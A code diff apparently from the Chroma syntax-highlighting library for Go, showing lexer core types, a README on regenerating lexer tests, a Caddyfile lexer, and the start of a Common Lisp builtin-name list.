parts := strings.SplitAfterN(token.Value, "\n", 2)
|
||||
// Token becomes the tail.
|
||||
token.Value = parts[1]
|
||||
|
||||
// Append the head to the line and flush the line.
|
||||
clone := token.Clone()
|
||||
clone.Value = parts[0]
|
||||
line = append(line, clone)
|
||||
out = append(out, line)
|
||||
line = nil
|
||||
|
||||
// If the tail token is empty, don't emit it.
|
||||
if len(token.Value) == 0 {
|
||||
continue tokenLoop
|
||||
}
|
||||
}
|
||||
line = append(line, token)
|
||||
}
|
||||
if len(line) > 0 {
|
||||
out = append(out, line)
|
||||
}
|
||||
// Strip empty trailing token line.
|
||||
if len(out) > 0 {
|
||||
last := out[len(out)-1]
|
||||
if len(last) == 1 && last[0].Value == "" {
|
||||
out = out[:len(out)-1]
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
package chroma
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
defaultOptions = &TokeniseOptions{
|
||||
State: "root",
|
||||
EnsureLF: true,
|
||||
}
|
||||
)
|
||||
|
||||
// Config for a lexer.
|
||||
type Config struct {
|
||||
// Name of the lexer.
|
||||
Name string `xml:"name,omitempty"`
|
||||
|
||||
// Shortcuts for the lexer
|
||||
Aliases []string `xml:"alias,omitempty"`
|
||||
|
||||
// File name globs
|
||||
Filenames []string `xml:"filename,omitempty"`
|
||||
|
||||
// Secondary file name globs
|
||||
AliasFilenames []string `xml:"alias_filename,omitempty"`
|
||||
|
||||
// MIME types
|
||||
MimeTypes []string `xml:"mime_type,omitempty"`
|
||||
|
||||
// Regex matching is case-insensitive.
|
||||
CaseInsensitive bool `xml:"case_insensitive,omitempty"`
|
||||
|
||||
// Regex matches all characters.
|
||||
DotAll bool `xml:"dot_all,omitempty"`
|
||||
|
||||
// Regex does not match across lines ($ matches EOL).
|
||||
//
|
||||
// Defaults to multiline.
|
||||
NotMultiline bool `xml:"not_multiline,omitempty"`
|
||||
|
||||
// Don't strip leading and trailing newlines from the input.
|
||||
// DontStripNL bool
|
||||
|
||||
// Strip all leading and trailing whitespace from the input
|
||||
// StripAll bool
|
||||
|
||||
// Make sure that the input ends with a newline. This
|
||||
// is required for some lexers that consume input linewise.
|
||||
EnsureNL bool `xml:"ensure_nl,omitempty"`
|
||||
|
||||
// If given and greater than 0, expand tabs in the input.
|
||||
// TabSize int
|
||||
|
||||
// Priority of lexer.
|
||||
//
|
||||
// If this is 0 it will be treated as a default of 1.
|
||||
Priority float32 `xml:"priority,omitempty"`
|
||||
|
||||
// Analyse is a list of regexes to match against the input.
|
||||
//
|
||||
// If a match is found, the score is returned if single attribute is set to true,
|
||||
// otherwise the sum of all the score of matching patterns will be
|
||||
// used as the final score.
|
||||
Analyse *AnalyseConfig `xml:"analyse,omitempty"`
|
||||
}
|
||||
|
||||
// AnalyseConfig defines the list of regexes analysers.
|
||||
type AnalyseConfig struct {
|
||||
Regexes []RegexConfig `xml:"regex,omitempty"`
|
||||
// If true, the first matching score is returned.
|
||||
First bool `xml:"first,attr"`
|
||||
}
|
||||
|
||||
// RegexConfig defines a single regex pattern and its score in case of match.
|
||||
type RegexConfig struct {
|
||||
Pattern string `xml:"pattern,attr"`
|
||||
Score float32 `xml:"score,attr"`
|
||||
}
|
||||
|
||||
// Token output to formatter.
|
||||
type Token struct {
|
||||
Type TokenType `json:"type"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
func (t *Token) String() string { return t.Value }
|
||||
func (t *Token) GoString() string { return fmt.Sprintf("&Token{%s, %q}", t.Type, t.Value) }
|
||||
|
||||
// Clone returns a clone of the Token.
|
||||
func (t *Token) Clone() Token {
|
||||
return *t
|
||||
}
|
||||
|
||||
// EOF is returned by lexers at the end of input.
|
||||
var EOF Token
|
||||
|
||||
// TokeniseOptions contains options for tokenisers.
|
||||
type TokeniseOptions struct {
|
||||
// State to start tokenisation in. Defaults to "root".
|
||||
State string
|
||||
// Nested tokenisation.
|
||||
Nested bool
|
||||
|
||||
// If true, all EOLs are converted into LF
|
||||
// by replacing CRLF and CR
|
||||
EnsureLF bool
|
||||
}
|
||||
|
||||
// A Lexer for tokenising source code.
|
||||
type Lexer interface {
|
||||
// Config describing the features of the Lexer.
|
||||
Config() *Config
|
||||
// Tokenise returns an Iterator over tokens in text.
|
||||
Tokenise(options *TokeniseOptions, text string) (Iterator, error)
|
||||
// SetRegistry sets the registry this Lexer is associated with.
|
||||
//
|
||||
// The registry should be used by the Lexer if it needs to look up other
|
||||
// lexers.
|
||||
SetRegistry(registry *LexerRegistry) Lexer
|
||||
// SetAnalyser sets a function the Lexer should use for scoring how
|
||||
// likely a fragment of text is to match this lexer, between 0.0 and 1.0.
|
||||
// A value of 1 indicates high confidence.
|
||||
//
|
||||
// Lexers may ignore this if they implement their own analysers.
|
||||
SetAnalyser(analyser func(text string) float32) Lexer
|
||||
// AnalyseText scores how likely a fragment of text is to match
|
||||
// this lexer, between 0.0 and 1.0. A value of 1 indicates high confidence.
|
||||
AnalyseText(text string) float32
|
||||
}
|
||||
|
||||
// Trace is the trace of a tokenisation process.
|
||||
type Trace struct {
|
||||
Lexer string `json:"lexer"`
|
||||
State string `json:"state"`
|
||||
Rule int `json:"rule"`
|
||||
Pattern string `json:"pattern"`
|
||||
Pos int `json:"pos"`
|
||||
Length int `json:"length"`
|
||||
Elapsed float64 `json:"elapsedMs"` // Elapsed time spent matching for this rule.
|
||||
}
|
||||
|
||||
// TracingLexer is a Lexer that can trace its tokenisation process.
|
||||
type TracingLexer interface {
|
||||
Lexer
|
||||
SetTracing(enable bool)
|
||||
}
|
||||
|
||||
// Lexers is a slice of lexers sortable by name.
|
||||
type Lexers []Lexer
|
||||
|
||||
func (l Lexers) Len() int { return len(l) }
|
||||
func (l Lexers) Swap(i, j int) { l[i], l[j] = l[j], l[i] }
|
||||
func (l Lexers) Less(i, j int) bool {
|
||||
return strings.ToLower(l[i].Config().Name) < strings.ToLower(l[j].Config().Name)
|
||||
}
|
||||
|
||||
// PrioritisedLexers is a slice of lexers sortable by priority.
|
||||
type PrioritisedLexers []Lexer
|
||||
|
||||
func (l PrioritisedLexers) Len() int { return len(l) }
|
||||
func (l PrioritisedLexers) Swap(i, j int) { l[i], l[j] = l[j], l[i] }
|
||||
func (l PrioritisedLexers) Less(i, j int) bool {
|
||||
ip := l[i].Config().Priority
|
||||
if ip == 0 {
|
||||
ip = 1
|
||||
}
|
||||
jp := l[j].Config().Priority
|
||||
if jp == 0 {
|
||||
jp = 1
|
||||
}
|
||||
return ip > jp
|
||||
}
|
||||
|
||||
// Analyser determines how appropriate this lexer is for the given text.
|
||||
type Analyser interface {
|
||||
AnalyseText(text string) float32
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# Chroma lexers
|
||||
|
||||
All lexers in Chroma should now be defined in XML unless they require custom code.
|
||||
|
||||
## Lexer tests
|
||||
|
||||
The tests in this directory feed a known input `testdata/<name>.actual` into the parser for `<name>` and check
|
||||
that its output matches `<name>.expected`.
|
||||
|
||||
It is also possible to perform several tests on a same parser `<name>`, by placing know inputs `*.actual` into a
|
||||
directory `testdata/<name>/`.
|
||||
|
||||
### Running the tests
|
||||
|
||||
Run the tests as normal:
|
||||
```go
|
||||
go test ./lexers
|
||||
```
|
||||
|
||||
### Update existing tests
|
||||
|
||||
When you add a new test data file (`*.actual`), you need to regenerate all tests. That's how Chroma creates the `*.expected` test file based on the corresponding lexer.
|
||||
|
||||
To regenerate all tests, type in your terminal:
|
||||
|
||||
```go
|
||||
RECORD=true go test ./lexers
|
||||
```
|
||||
|
||||
This first sets the `RECORD` environment variable to `true`. Then it runs `go test` on the `./lexers` directory of the Chroma project.
|
||||
|
||||
(That environment variable tells Chroma it needs to output test data. After running `go test ./lexers` you can remove or reset that variable.)
|
||||
|
||||
#### Windows users
|
||||
|
||||
Windows users will find that the `RECORD=true go test ./lexers` command fails in both the standard command prompt terminal and in PowerShell.
|
||||
|
||||
Instead we have to perform both steps separately:
|
||||
|
||||
- Set the `RECORD` environment variable to `true`.
|
||||
+ In the regular command prompt window, the `set` command sets an environment variable for the current session: `set RECORD=true`. See [this page](https://superuser.com/questions/212150/how-to-set-env-variable-in-windows-cmd-line) for more.
|
||||
+ In PowerShell, you can use the `$env:RECORD = 'true'` command for that. See [this article](https://mcpmag.com/articles/2019/03/28/environment-variables-in-powershell.aspx) for more.
|
||||
+ You can also make a persistent environment variable by hand in the Windows computer settings. See [this article](https://www.computerhope.com/issues/ch000549.htm) for how.
|
||||
- When the environment variable is set, run `go test ./lexers`.
|
||||
|
||||
Chroma will now regenerate the test files and print its results to the console window.
|
||||
+275
@@ -0,0 +1,275 @@
|
||||
package lexers
|
||||
|
||||
import (
|
||||
. "github.com/alecthomas/chroma/v2" // nolint
|
||||
)
|
||||
|
||||
// Matcher token stub for docs, or
|
||||
// Named matcher: @name, or
|
||||
// Path matcher: /foo, or
|
||||
// Wildcard path matcher: *
|
||||
// nolint: gosec
|
||||
var caddyfileMatcherTokenRegexp = `(\[\<matcher\>\]|@[^\s]+|/[^\s]+|\*)`
|
||||
|
||||
// Comment at start of line, or
|
||||
// Comment preceded by whitespace
|
||||
var caddyfileCommentRegexp = `(^|\s+)#.*\n`
|
||||
|
||||
// caddyfileCommon are the rules common to both of the lexer variants
|
||||
func caddyfileCommonRules() Rules {
|
||||
return Rules{
|
||||
"site_block_common": {
|
||||
Include("site_body"),
|
||||
// Any other directive
|
||||
{`[^\s#]+`, Keyword, Push("directive")},
|
||||
Include("base"),
|
||||
},
|
||||
"site_body": {
|
||||
// Import keyword
|
||||
{`\b(import|invoke)\b( [^\s#]+)`, ByGroups(Keyword, Text), Push("subdirective")},
|
||||
// Matcher definition
|
||||
{`@[^\s]+(?=\s)`, NameDecorator, Push("matcher")},
|
||||
// Matcher token stub for docs
|
||||
{`\[\<matcher\>\]`, NameDecorator, Push("matcher")},
|
||||
// These cannot have matchers but may have things that look like
|
||||
// matchers in their arguments, so we just parse as a subdirective.
|
||||
{`\b(try_files|tls|log|bind)\b`, Keyword, Push("subdirective")},
|
||||
// These are special, they can nest more directives
|
||||
{`\b(handle_errors|handle_path|handle_response|replace_status|handle|route)\b`, Keyword, Push("nested_directive")},
|
||||
// uri directive has special syntax
|
||||
{`\b(uri)\b`, Keyword, Push("uri_directive")},
|
||||
},
|
||||
"matcher": {
|
||||
{`\{`, Punctuation, Push("block")},
|
||||
// Not can be one-liner
|
||||
{`not`, Keyword, Push("deep_not_matcher")},
|
||||
// Heredoc for CEL expression
|
||||
Include("heredoc"),
|
||||
// Backtick for CEL expression
|
||||
{"`", StringBacktick, Push("backticks")},
|
||||
// Any other same-line matcher
|
||||
{`[^\s#]+`, Keyword, Push("arguments")},
|
||||
// Terminators
|
||||
{`\s*\n`, Text, Pop(1)},
|
||||
{`\}`, Punctuation, Pop(1)},
|
||||
Include("base"),
|
||||
},
|
||||
"block": {
|
||||
{`\}`, Punctuation, Pop(2)},
|
||||
// Using double quotes doesn't stop at spaces
|
||||
{`"`, StringDouble, Push("double_quotes")},
|
||||
// Using backticks doesn't stop at spaces
|
||||
{"`", StringBacktick, Push("backticks")},
|
||||
// Not can be one-liner
|
||||
{`not`, Keyword, Push("not_matcher")},
|
||||
// Directives & matcher definitions
|
||||
Include("site_body"),
|
||||
// Any directive
|
||||
{`[^\s#]+`, Keyword, Push("subdirective")},
|
||||
Include("base"),
|
||||
},
|
||||
"nested_block": {
|
||||
{`\}`, Punctuation, Pop(2)},
|
||||
// Using double quotes doesn't stop at spaces
|
||||
{`"`, StringDouble, Push("double_quotes")},
|
||||
// Using backticks doesn't stop at spaces
|
||||
{"`", StringBacktick, Push("backticks")},
|
||||
// Not can be one-liner
|
||||
{`not`, Keyword, Push("not_matcher")},
|
||||
// Directives & matcher definitions
|
||||
Include("site_body"),
|
||||
// Any other subdirective
|
||||
{`[^\s#]+`, Keyword, Push("directive")},
|
||||
Include("base"),
|
||||
},
|
||||
"not_matcher": {
|
||||
{`\}`, Punctuation, Pop(2)},
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{`[^\s#]+`, Keyword, Push("arguments")},
|
||||
{`\s+`, Text, nil},
|
||||
},
|
||||
"deep_not_matcher": {
|
||||
{`\}`, Punctuation, Pop(2)},
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{`[^\s#]+`, Keyword, Push("deep_subdirective")},
|
||||
{`\s+`, Text, nil},
|
||||
},
|
||||
"directive": {
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{caddyfileMatcherTokenRegexp, NameDecorator, Push("arguments")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(1)},
|
||||
{`\s*\n`, Text, Pop(1)},
|
||||
Include("base"),
|
||||
},
|
||||
"nested_directive": {
|
||||
{`\{(?=\s)`, Punctuation, Push("nested_block")},
|
||||
{caddyfileMatcherTokenRegexp, NameDecorator, Push("nested_arguments")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(1)},
|
||||
{`\s*\n`, Text, Pop(1)},
|
||||
Include("base"),
|
||||
},
|
||||
"subdirective": {
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(1)},
|
||||
{`\s*\n`, Text, Pop(1)},
|
||||
Include("base"),
|
||||
},
|
||||
"arguments": {
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(2)},
|
||||
{`\\\n`, Text, nil}, // Skip escaped newlines
|
||||
{`\s*\n`, Text, Pop(2)},
|
||||
Include("base"),
|
||||
},
|
||||
"nested_arguments": {
|
||||
{`\{(?=\s)`, Punctuation, Push("nested_block")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(2)},
|
||||
{`\\\n`, Text, nil}, // Skip escaped newlines
|
||||
{`\s*\n`, Text, Pop(2)},
|
||||
Include("base"),
|
||||
},
|
||||
"deep_subdirective": {
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(3)},
|
||||
{`\s*\n`, Text, Pop(3)},
|
||||
Include("base"),
|
||||
},
|
||||
"uri_directive": {
|
||||
{`\{(?=\s)`, Punctuation, Push("block")},
|
||||
{caddyfileMatcherTokenRegexp, NameDecorator, nil},
|
||||
{`(strip_prefix|strip_suffix|replace|path_regexp)`, NameConstant, Push("arguments")},
|
||||
{caddyfileCommentRegexp, CommentSingle, Pop(1)},
|
||||
{`\s*\n`, Text, Pop(1)},
|
||||
Include("base"),
|
||||
},
|
||||
"double_quotes": {
|
||||
Include("placeholder"),
|
||||
{`\\"`, StringDouble, nil},
|
||||
{`[^"]`, StringDouble, nil},
|
||||
{`"`, StringDouble, Pop(1)},
|
||||
},
|
||||
"backticks": {
|
||||
Include("placeholder"),
|
||||
{"\\\\`", StringBacktick, nil},
|
||||
{"[^`]", StringBacktick, nil},
|
||||
{"`", StringBacktick, Pop(1)},
|
||||
},
|
||||
"optional": {
|
||||
// Docs syntax for showing optional parts with [ ]
|
||||
{`\[`, Punctuation, Push("optional")},
|
||||
Include("name_constants"),
|
||||
{`\|`, Punctuation, nil},
|
||||
{`[^\[\]\|]+`, String, nil},
|
||||
{`\]`, Punctuation, Pop(1)},
|
||||
},
|
||||
"heredoc": {
|
||||
{`(<<([a-zA-Z0-9_-]+))(\n(.*|\n)*)(\s*)(\2)`, ByGroups(StringHeredoc, nil, String, String, String, StringHeredoc), nil},
|
||||
},
|
||||
"name_constants": {
|
||||
{`\b(most_recently_modified|largest_size|smallest_size|first_exist|internal|disable_redirects|ignore_loaded_certs|disable_certs|private_ranges|first|last|before|after|on|off)\b(\||(?=\]|\s|$))`, ByGroups(NameConstant, Punctuation), nil},
|
||||
},
|
||||
"placeholder": {
|
||||
// Placeholder with dots, colon for default value, brackets for args[0:]
|
||||
{`\{[\w+.\[\]\:\$-]+\}`, StringEscape, nil},
|
||||
// Handle opening brackets with no matching closing one
|
||||
{`\{[^\}\s]*\b`, String, nil},
|
||||
},
|
||||
"base": {
|
||||
{caddyfileCommentRegexp, CommentSingle, nil},
|
||||
{`\[\<matcher\>\]`, NameDecorator, nil},
|
||||
Include("name_constants"),
|
||||
Include("heredoc"),
|
||||
{`(https?://)?([a-z0-9.-]+)(:)([0-9]+)([^\s]*)`, ByGroups(Name, Name, Punctuation, NumberInteger, Name), nil},
|
||||
{`\[`, Punctuation, Push("optional")},
|
||||
{"`", StringBacktick, Push("backticks")},
|
||||
{`"`, StringDouble, Push("double_quotes")},
|
||||
Include("placeholder"),
|
||||
{`[a-z-]+/[a-z-+]+`, String, nil},
|
||||
{`[0-9]+([smhdk]|ns|us|µs|ms)?\b`, NumberInteger, nil},
|
||||
{`[^\s\n#\{]+`, String, nil},
|
||||
{`/[^\s#]*`, Name, nil},
|
||||
{`\s+`, Text, nil},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Caddyfile lexer.
|
||||
var Caddyfile = Register(MustNewLexer(
|
||||
&Config{
|
||||
Name: "Caddyfile",
|
||||
Aliases: []string{"caddyfile", "caddy"},
|
||||
Filenames: []string{"Caddyfile*"},
|
||||
MimeTypes: []string{},
|
||||
},
|
||||
caddyfileRules,
|
||||
))
|
||||
|
||||
func caddyfileRules() Rules {
|
||||
return Rules{
|
||||
"root": {
|
||||
{caddyfileCommentRegexp, CommentSingle, nil},
|
||||
// Global options block
|
||||
{`^\s*(\{)\s*$`, ByGroups(Punctuation), Push("globals")},
|
||||
// Top level import
|
||||
{`(import)(\s+)([^\s]+)`, ByGroups(Keyword, Text, NameVariableMagic), nil},
|
||||
// Snippets
|
||||
{`(&?\([^\s#]+\))(\s*)(\{)`, ByGroups(NameVariableAnonymous, Text, Punctuation), Push("snippet")},
|
||||
// Site label
|
||||
{`[^#{(\s,]+`, GenericHeading, Push("label")},
|
||||
// Site label with placeholder
|
||||
{`\{[\w+.\[\]\:\$-]+\}`, StringEscape, Push("label")},
|
||||
{`\s+`, Text, nil},
|
||||
},
|
||||
"globals": {
|
||||
{`\}`, Punctuation, Pop(1)},
|
||||
// Global options are parsed as subdirectives (no matcher)
|
||||
{`[^\s#]+`, Keyword, Push("subdirective")},
|
||||
Include("base"),
|
||||
},
|
||||
"snippet": {
|
||||
{`\}`, Punctuation, Pop(1)},
|
||||
Include("site_body"),
|
||||
// Any other directive
|
||||
{`[^\s#]+`, Keyword, Push("directive")},
|
||||
Include("base"),
|
||||
},
|
||||
"label": {
|
||||
// Allow multiple labels, comma separated, newlines after
|
||||
// a comma means another label is coming
|
||||
{`,\s*\n?`, Text, nil},
|
||||
{` `, Text, nil},
|
||||
// Site label with placeholder
|
||||
Include("placeholder"),
|
||||
// Site label
|
||||
{`[^#{(\s,]+`, GenericHeading, nil},
|
||||
// Comment after non-block label (hack because comments end in \n)
|
||||
{`#.*\n`, CommentSingle, Push("site_block")},
|
||||
// Note: if \n, we'll never pop out of the site_block, it's valid
|
||||
{`\{(?=\s)|\n`, Punctuation, Push("site_block")},
|
||||
},
|
||||
"site_block": {
|
||||
{`\}`, Punctuation, Pop(2)},
|
||||
Include("site_block_common"),
|
||||
},
|
||||
}.Merge(caddyfileCommonRules())
|
||||
}
|
||||
|
||||
// Caddyfile directive-only lexer.
|
||||
var CaddyfileDirectives = Register(MustNewLexer(
|
||||
&Config{
|
||||
Name: "Caddyfile Directives",
|
||||
Aliases: []string{"caddyfile-directives", "caddyfile-d", "caddy-d"},
|
||||
Filenames: []string{},
|
||||
MimeTypes: []string{},
|
||||
},
|
||||
caddyfileDirectivesRules,
|
||||
))
|
||||
|
||||
func caddyfileDirectivesRules() Rules {
|
||||
return Rules{
|
||||
// Same as "site_block" in Caddyfile
|
||||
"root": {
|
||||
Include("site_block_common"),
|
||||
},
|
||||
}.Merge(caddyfileCommonRules())
|
||||
}
|
||||
+243
@@ -0,0 +1,243 @@
|
||||
package lexers
|
||||
|
||||
import (
|
||||
. "github.com/alecthomas/chroma/v2" // nolint
|
||||
)
|
||||
|
||||
var (
|
||||
clBuiltinFunctions = []string{
|
||||
"<", "<=", "=", ">", ">=", "-", "/", "/=", "*", "+", "1-", "1+",
|
||||
"abort", "abs", "acons", "acos", "acosh", "add-method", "adjoin",
|
||||
"adjustable-array-p", "adjust-array", "allocate-instance",
|
||||
"alpha-char-p", "alphanumericp", "append", "apply", "apropos",
|
||||
"apropos-list", "aref", "arithmetic-error-operands",
|
||||
"arithmetic-error-operation", "array-dimension", "array-dimensions",
|
||||
"array-displacement", "array-element-type", "array-has-fill-pointer-p",
|
||||
"array-in-bounds-p", "arrayp", "array-rank", "array-row-major-index",
|
||||
"array-total-size", "ash", "asin", "asinh", "assoc", "assoc-if",
|
||||
"assoc-if-not", "atan", "atanh", "atom", "bit", "bit-and", "bit-andc1",
|
||||
"bit-andc2", "bit-eqv", "bit-ior", "bit-nand", "bit-nor", "bit-not",
|
||||
"bit-orc1", "bit-orc2", "bit-vector-p", "bit-xor", "boole",
|
||||
"both-case-p", "boundp", "break", "broadcast-stream-streams",
|
||||
"butlast", "byte", "byte-position", "byte-size", "caaaar", "caaadr",
|
||||
"caaar", "caadar", "caaddr", "caadr", "caar", "cadaar", "cadadr",
|
||||
"cadar", "caddar", "cadddr", "caddr", "cadr", "call-next-method", "car",
|
||||
"cdaaar", "cdaadr", "cdaar", "cdadar", "cdaddr", "cdadr", "cdar",
|
||||
"cddaar", "cddadr", "cddar", "cdddar", "cddddr", "cdddr", "cddr", "cdr",
|
||||
"ceiling", "cell-error-name", "cerror", "change-class", "char", "char<",
|
||||
"char<=", "char=", "char>", "char>=", "char/=", "character",
|
||||
"characterp", "char-code", "char-downcase", "char-equal",
|
||||
"char-greaterp", "char-int", "char-lessp", "char-name",
|
||||
"char-not-equal", "char-not-greaterp", "char-not-lessp", "char-upcase",
|
||||
"cis", "class-name", "class-of", "clear-input", "clear-output",
|
||||
"close", "clrhash", "code-char", "coerce", "compile",
|
||||
"compiled-function-p", "compile-file", "compile-file-pathname",
|
||||
"compiler-macro-function", "complement", "complex", "complexp",
|
||||
"compute-applicable-methods", "compute-restarts", "concatenate",
|
||||
"concatenated-stream-streams", "conjugate", "cons", "consp",
|
||||
"constantly", "constantp", "continue", "copy-alist", "copy-list",
|
||||
"copy-pprint-dispatch", "copy-readtable", "copy-seq", "copy-structure",
|
||||
"copy-symbol", "copy-tree", "cos", "cosh", "count", "count-if",
|
||||
"count-if-not", "decode-float", "decode-universal-time", "delete",
|
||||
"delete-duplicates", "delete-file", "delete-if", "delete-if-not",
|
||||
"delete-package", "denominator", "deposit-field", "describe",
|
||||
"describe-object", "digit-char", "digit-char-p", "directory",
|
||||
"directory-namestring", "disassemble", "documentation", "dpb",
|
||||
"dribble", "echo-stream-input-stream", "echo-stream-output-stream",
|
||||
"ed", "eighth", "elt", "encode-universal-time", "endp",
|
||||
"enough-namestring", "ensure-directories-exist",
|
||||
"ensure-generic-function", "eq", "eql", "equal", "equalp", "error",
|
||||
"eval", "evenp", "every", "exp", "export", "expt", "fboundp",
|
||||
"fceiling", "fdefinition", "ffloor", "fifth", "file-author",
|
||||
"file-error-pathname", "file-length", "file-namestring",
|
||||
"file-position", "file-string-length", "file-write-date",
|
||||
"fill", "fill-pointer", "find", "find-all-symbols", "find-class",
|
||||
"find-if", "find-if-not", "find-method", "find-package", "find-restart",
|
||||
"find-symbol", "finish-output", "first", "float", "float-digits",
|
||||
"floatp", "float-precision", "float-radix", "float-sign", "floor",
|
||||
"fmakunbound", "force-output", "format", "fourth", "fresh-line",
|
||||
"fround", "ftruncate", "funcall", "function-keywords",
|
||||
"function-lambda-expression", "functionp", "gcd", "gensym", "gentemp",
|
||||
"get", "get-decoded-time", "get-dispatch-macro-character", "getf",
|
||||
"gethash", "get-internal-real-time", "get-internal-run-time",
|
||||
"get-macro-character", "get-output-stream-string", "get-properties",
|
||||
"get-setf-expansion", "get-universal-time", "graphic-char-p",
|
||||
"hash-table-count", "hash-table-p", "hash-table-rehash-size",
|
||||
"hash-table-rehash-threshold", "hash-table-size", "hash-table-test",
|
||||
"host-namestring", "identity", "imagpart", "import",
|
||||
"initialize-instance", "input-stream-p", "inspect",
|
||||
"integer-decode-float", "integer-length", "integerp",
|
||||
"interactive-stream-p", "intern", "intersection",
|
||||
"invalid-method-error", "invoke-debugger", "invoke-restart",
|
||||
"invoke-restart-interactively", "isqrt", "keywordp", "last", "lcm",
|
||||
"ldb", "ldb-test", "ldiff", "length", "lisp-implementation-type",
|
||||
"lisp-implementation-version", "list", "list*", "list-all-packages",
|
||||
"listen", "list-length", "listp", "load",
|
||||
"load-logical-pathname-translations", "log", "logand", "logandc1",
|
||||
"logandc2", "logbitp", "logcount", "logeqv", "logical-pathname",
|
||||
"logical-pathname-translations", "logior", "lognand", "lognor",
|
||||
"lognot", "logorc1", "logorc2", "logtest", "logxor", "long-site-name",
|
||||
"lower-case-p", "machine-instance", "machine-type", "machine-version",
|
||||
"macroexpand", "macroexpand-1", "macro-function", "make-array",
|
||||
"make-broadcast-stream", "make-concatenated-stream", "make-condition",
|
||||
"make-dispatch-macro-character", "make-echo-stream", "make-hash-table",
|
||||
"make-instance", "make-instances-obsolete", "make-list",
|
||||
"make-load-form", "make-load-form-saving-slots", "make-package",
|
||||
"make-pathname", "make-random-state", "make-sequence", "make-string",
|
||||
"make-string-input-stream", "make-string-output-stream", "make-symbol",
|
||||
"make-synonym-stream", "make-two-way-stream", "makunbound", "map",
|
||||
"mapc", "mapcan", "mapcar", "mapcon", "maphash", "map-into", "mapl",
|
||||
"maplist", "mask-field", "max", "member", "member-if", "member-if-not",
|
||||
"merge", "merge-pathnames", "method-combination-error",
|
||||
"method-qualifiers", "min", "minusp", "mismatch", "mod",
|
||||
"muffle-warning", "name-char", "namestring", "nbutlast", "nconc",
|
||||
"next-method-p", "nintersection", "ninth", "no-applicable-method",
|
||||
"no-next-method", "not", "notany", "notevery", "nreconc", "nreverse",
|
||||
"nset-difference", "nset-exclusive-or", "nstring-capitalize",
|
||||
"nstring-downcase", "nstring-upcase", "nsublis", "nsubst", "nsubst-if",
|
||||
"nsubst-if-not", "nsubstitute", "nsubstitute-if", "nsubstitute-if-not",
|
||||
"nth", "nthcdr", "null", "numberp", "numerator", "nunion", "oddp",
|
||||
"open", "open-stream-p", "output-stream-p", "package-error-package",
|
||||
"package-name", "package-nicknames", "packagep",
|
||||
"package-shadowing-symbols", "package-used-by-list", "package-use-list",
|
||||
"pairlis", "parse-integer", "parse-namestring", "pathname",
|
||||
"pathname-device", "pathname-directory", "pathname-host",
|
||||
"pathname-match-p", "pathname-name", "pathnamep", "pathname-type",
|
||||
"pathname-version", "peek-char", "phase", "plusp", "position",
|
||||
"position-if", "position-if-not", "pprint", "pprint-dispatch",
|
||||
"pprint-fill", "pprint-indent", "pprint-linear", "pprint-newline",
|
||||
"pprint-tab", "pprint-tabular", "prin1", "prin1-to-string", "princ",
|
||||
"princ-to-string", "print", "print-object", "probe-file", "proclaim",
|
||||
"provide", "random", "random-state-p", "rassoc", "rassoc-if",
|
||||
"rassoc-if-not", "rational", "rationalize", "rationalp", "read",
|
||||
"read-byte", "read-char", "read-char-no-hang", "read-delimited-list",
|
||||
"read-from-string", "read-line", "read-preserving-whitespace",
|
||||
"read-sequence", "readtable-case", "readtablep", "realp", "realpart",
|
||||
"reduce", "reinitialize-instance", "rem", "remhash", "remove",
|
||||
"remove-duplicates", "remove-if", "remove-if-not", "remove-method",
|
||||
"remprop", "rename-file", "rename-package", "replace", "require",
|
||||
"rest", "restart-name", "revappend", "reverse", "room", "round",
|
||||
"row-major-aref", "rplaca", "rplacd", "sbit", "scale-float", "schar",
|
||||
"search", "second", "set", "set-difference",
|
||||
"set-dispatch-macro-character", "set-exclusive-or",
|
||||
"set-macro-character", "set-pprint-dispatch", "set-syntax-from-char",
|
||||
"seventh", "shadow", "shadowing-import", "shared-initialize",
|
||||
"short-site-name", "signal", "signum", "simple-bit-vector-p",
|
||||
"simple-condition-format-arguments", "simple-condition-format-control",
|
||||
"simple-string-p", "simple-vector-p", "sin", "sinh", "sixth", "sleep",
|
||||
"slot-boundp", "slot-exists-p", "slot-makunbound", "slot-missing",
|
||||
"slot-unbound", "slot-value", "software-type", "software-version",
|
||||
"some", "sort", "special-operator-p", "sqrt", "stable-sort",
|
||||
"standard-char-p", "store-value", "stream-element-type",
|
||||
"stream-error-stream", "stream-external-format", "streamp", "string",
|
||||
"string<", "string<=", "string=", "string>", "string>=", "string/=",
|
||||
"string-capitalize", "string-downcase", "string-equal",
|
||||
"string-greaterp", "string-left-trim", "string-lessp",
|
||||
"string-not-equal", "string-not-greaterp", "string-not-lessp",
|
||||
"stringp", "string-right-trim", "string-trim", "string-upcase",
|
||||
"sublis", "subseq", "subsetp", "subst", "subst-if", "subst-if-not",
|
||||
"substitute", "substitute-if", "substitute-if-not", "subtypep", "svref",
|
||||
"sxhash", "symbol-function", "symbol-name", "symbolp", "symbol-package",
|
||||
"symbol-plist", "symbol-value", "synonym-stream-symbol", "syntax:",
|
||||
"tailp", "tan", "tanh", "tenth", "terpri", "third",
|
||||
"translate-logical-pathname", "translate-pathname", "tree-equal",
|
||||
"truename", "truncate", "two-way-stream-input-stream",
|
||||
"two-way-stream-output-stream", "type-error-datum",
|
||||
"type-error-expected-type", "type-of", "typep", "unbound-slot-instance",
|
||||
"unexport", "unintern", "union", "unread-char", "unuse-package",
|
||||
"update-instance-for-different-class",
|
||||
"update-instance-for-redefined-class", "upgraded-array-element-type",
|
||||
"upgraded-complex-part-type", "upper-case-p", "use-package",
|
||||
